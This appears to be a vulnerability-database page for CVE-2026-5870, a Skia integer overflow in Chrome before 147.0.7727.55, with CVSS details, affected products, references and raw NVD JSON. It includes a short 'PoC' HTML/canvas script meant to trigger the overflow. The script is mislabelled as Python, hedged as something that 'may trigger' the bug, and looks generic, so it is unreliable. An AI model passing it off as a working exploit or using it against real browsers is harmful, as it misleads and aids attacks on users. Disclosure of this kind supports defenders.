CVE-2026-5870

Description

Integer overflow in Skia in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 147.0.7727.55

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-5870 Skia Integer Overflow -->
<html>
<head><title>Skia Overflow PoC</title></head>
<body>
<canvas id="target"></canvas>
<script>
  // Attempt to trigger integer overflow in Skia rendering
  var ctx = document.getElementById('target').getContext('2d');
  // Malicious parameters to trigger the calculation error
  var size = 0x100000000; 
  try {
    // This specific pattern of canvas manipulation may trigger the overflow
    ctx.scale(size, 1);
    ctx.fillRect(0, 0, 100, 100);
  } catch(e) {
    console.log("Exception triggered: " + e);
  }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5870
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5870
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5870/
[4] VulDB https://vuldb.com/cve/CVE-2026-5870
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/495534710

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5870", "sourceIdentifier": "[email protected]", "published": "2026-04-08T22:16:26.580", "lastModified": "2026-04-13T18:08:33.457", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer overflow in Skia in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-472"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.7727.55", "matchCriteriaId": "9A68673A-1331-48AF-8860-53064F0AF310"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/495534710", "source": "[email protected]", "tags": ["Permissions Required"]}]}}